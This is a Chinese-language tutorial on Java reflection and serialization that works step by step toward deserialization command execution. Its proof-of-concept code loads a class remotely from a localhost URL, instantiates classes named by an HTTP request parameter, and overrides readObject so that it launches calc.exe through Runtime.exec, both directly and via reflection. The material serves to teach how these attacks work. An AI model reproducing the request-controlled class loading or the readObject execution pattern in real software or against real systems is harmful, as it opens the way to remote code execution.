Java反射
为了了解反射,先从正向来讲解下java的类与对象,一般情况下,我们先定一个一个类,然后实例化一个对象,通过调用对象的方法进行执行,例如:
Person xiaoming = new person() xiaoming.setage(20)
定义一个叫小明的对象,该对象属于Person类,并且调用setage方法,给他设置年龄大小为20
若是一开始我们不知道我们要初始化的类对象是啥,自然无法使用new来创建一个对象使用,这时候怎么办呢?
Class clz = Class.forName("com.xxxx.xxxx.Person"); Method method = clz.getMethod("setage", int.class); Constructor constructor = clz.getConstructor(); Object object = constructor.newInstance(); method.invoke(object, 20);
两段代码是一样的结果,都是执行一个设置年龄为20的动作,只是第一个我知道确认的类是Person,第二段代码是运行时传入的类。
总结下:
- 在运行时加载,探知和使用编译期间完全未知的类。
- 程序在运行状态中,可以动态加载一个只有名称的类,对于任意一个已经加载的类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能调用他的任意一个方法和属性。
- 加载完类之后,在堆内存中会产生一个Class类型的对象(一个类只有一个Class对象),这个对象包含了完整的类的结构信息,而且这个Class对象就像一面镜子,透过这个镜子看到类的结构,所以被称之为:反射。
- 每个类被加载进入内存之后,系统就会为该类生成一个对应的java.lang.Class对象,通过该Class对象就可以访问到JVM中的这个类。
Java反射对象的获取方法
- 实例对象的getClass()方法;
- 类的.class(最安全/性能最好)属性;
- 运用Class.forName(String className)动态加载类,className需要是类的全限定名(最常用)。
注意,有一点很有趣,使用功能”.class”来创建Class对象的引用时,不会自动初始化该Class对象,使用forName()会自动初始化该Class对象。
通过反射调用函数
通过Class.forName调用函数
import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; public class Main { public static void testClass(HttpServletRequest request) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException { //获取要反射调用ClassName的名称 String sClass = request.getParameter("ClassName"); //对class进行实例化 Object object = Class.forName(sClass).newInstance(); } public static RuntimeDemo testClass(String s) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException { RuntimeDemo object = (RuntimeDemo)Class.forName(s).newInstance(); return object; } }
通过classloader调用函数
import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; public class testClassLoader { public static void main(String[] args ) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { //远程加载要反射的class地址 URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8000/RuntimeDemo.class")}); //要反射调用的类名 Class<?> loadClass= urlClassLoader.loadClass("RuntimeDemo"); //实例化类 Object object = loadClass.getConstructor().newInstance(); //调用类里面的方法 loadClass.getMethod("openCalculator").invoke(object); } }
弹个计算器
若是可以控制访问远端的地址后,则可通过反射调用来执行系统命令,上面classloader代码就是一个Demo
RuntimeDemo.class是由RuntimeDemo.java编译而来的,也就是远端加载了class内容,加载到JVM中,classloader就可以在jvm中使用相应的方法。
RuntimeDemo.java代码如下:
import java.io.IOException; public class RuntimeDemo { public void openCalculator() throws IOException { Runtime.getRuntime().exec("calc.exe"); } }
Java序列化
基本概念
序列化与反序列化
- Serialization(序列化)是指把Java对象保存为二进制字节码的过程;
- 反序列化(deserialization)是把二进制码重新转换成Java对象的过程;
什么情况下需要反序列化
- 当你想把的内存中的对象保存到一个文件中或者数据库中时候;
- 当你想用套接字在网络上传送对象的时候;
- 当你想通过RMI传输对象的时候;
- 总之,序列化的用途就是传递和存储。
实现序列化
- 将需要序列化的类实现Serializable接口就可以了,Serializable接口中没有任何方法,可以理解为一个标记,即表明这个类可以被序列化。
- 序列化与反序列化都可以理解为“写”和“读”操作,通过如下这两个方法可以将对象实例进行“序列化”与“反序列化”操作。
//写入对象内容 private void writeObject(java.io.ObjectOutputStream out) //读取对象内容 private void readObject(java.io.ObjectInputStream in)
简单实例
反序列化代码实例
package Step1; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; public class deserTest implements Serializable { /** * 创建一个简单的可被序列化的类,它的实例化后的对象就是可以被序列化的。 */ private static final long serialVersionUID = 1L; private int n; public deserTest(int n){ //构造函数,初始化时执行 this.n=n; } public static void main(String[] args) { deserTest x = new deserTest(5);//实例一个对象 operation.ser(x);//序列化 operation.deser();//反序列化 } } class operation { public static void ser(Object obj) { //序列化操作,写数据 try{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj")); //ObjectOutputStream能把Object输出成Byte流 oos.writeObject(obj);//序列化关键函数 oos.flush(); //缓冲流 oos.close(); //关闭流 } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } public static void deser() { //反序列化操作,读取数据 try { File file = new File("object.obj"); ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file)); Object x = ois.readObject();//反序列化的关键函数 System.out.print(x); ois.close(); } catch (FileNotFoundException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } } }
弹个计算器
自定义序列化和反序列化过程,就是重写writeObject和readObject方法。对以上代码进行改造,加入readObject方法的重写,再重写函数中加入自己的代码逻辑。
package Step1; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; public class deserTest2 implements Serializable { /** * 创建一个简单的可被序列化的类,它的实例化后的对象就是可以被序列化的。 * 然后重写readObject方法,实现弹计算器。 */ private static final long serialVersionUID = 1L; private int n; public deserTest2(int n){ //构造函数,初始化时执行 this.n=n; } //重写readObject方法,加入了弹计算器的执行代码的内容 private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{ in.defaultReadObject();//调用原始的readOject方法 Runtime.getRuntime().exec("calc.exe"); System.out.println("test"); } public static void main(String[] args) { //deserTest2 x = new deserTest2(5);//实例一个对象 //operation2.ser(x);//序列化 operation2.deser();//反序列化 } } class operation2 { public static void ser(Object obj) { //序列化操作,写数据 try{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj")); //ObjectOutputStream能把Object输出成Byte流 oos.writeObject(obj);//序列化关键函数 oos.flush(); //缓冲流 oos.close(); //关闭流 } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } public static void deser() { //反序列化操作,读取数据 try { File file = new File("object.obj"); ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file)); Object x = ois.readObject();//反序列化的关键函数 System.out.print(x); ois.close(); } catch (FileNotFoundException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } } }
命令执行
反射+序列化命令执行
package Step2; import java.lang.reflect.Method; public class reflectionTest { public static void main(String[] args){ Method[] methods = test.class.getMethods(); //获取类的方法二,有点类似python的getattr()。java中每个类型都有class 属性 //通过类的class属性获取对应的Class类的对象,通过这个Class类的对象获取test类中的方法集合 /* String name = test.class.getName(); * int modifiers = test.class.getModifiers(); * .....还有很多方法 * 也就是说,对于一个任意的可以访问到的类,我们都能够通过以上这些方法来知道它的所有的方法和属性; * 知道了它的方法和属性,就可以调用这些方法和属性。 */ //调用test类中的方法 for(Method method : methods){ if(method.getName().equals("int2string")) { System.out.println("method = " + method.getName()); Class[] parameterTypes = method.getParameterTypes();//获取方法的参数 Class returnType = method.getReturnType();//获取方法的返回类型 try { //method.invoke(test.class.newInstance(), 666); Object x = method.invoke(new test(1), 666); System.out.println(x); // new关键字能调用任何构造方法。newInstance()只能调用无参构造方法。 } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } } } try { Method method = test.class.getMethod("int2string", Integer.class); Object x = method.invoke(new test(2), 666);//第一个参数是类的对象。第二参数是函数的参数 System.out.println(x); } catch (Exception e) { e.printStackTrace(); } } } class test{ private Integer n; public test(Integer n){ //构造函数,初始化时执行 this.n = n; } public String int2string(Integer n) { System.out.println("here"); return Integer.toString(n); } }
弹个计算器
Step1中,我们通过重写readObject方法,直接在里面使用Runtime.getRuntime().exec("calc.exe")来执行代码。现在需要改造一下,使用反弹方法来实现,成功调试的代码如下:
package Step2; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; import java.lang.reflect.Method; /* * 有了反射方法的基础,再结合step1,实现一个基于反射方法的弹计算器。 */ public class reflectionTest2 implements Serializable{ private Integer n; public reflectionTest2(Integer n){ //构造函数,初始化时执行 this.n = n; } public String int2string(Integer n) { System.out.println("here"); return Integer.toString(n); } private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{ in.defaultReadObject();//调用原始的readOject方法 try {//通过反射方法执行命令; Method method= java.lang.Runtime.class.getMethod("exec", String.class); Object result = method.invoke(Runtime.getRuntime(), "calc.exe"); } catch(Exception e) { e.printStackTrace(); } } public static void main(String[] args){ //reflectionTest2 x= new reflectionTest2(2); //operation.ser(x); operation.deser(); } } class operation { public static void ser(Object obj) { //序列化操作,写数据 try{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));//ObjectOutputStream能把Object输出成Byte流 oos.writeObject(obj);//序列化关键函数 oos.flush(); //缓冲流 oos.close(); //关闭流 } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } public static void deser() { //反序列化操作,读取数据 try { File file = new File("object.obj"); ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file)); Object x = ois.readObject();//反序列化的关键函数 System.out.print(x); ois.close(); } catch (FileNotFoundException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } } }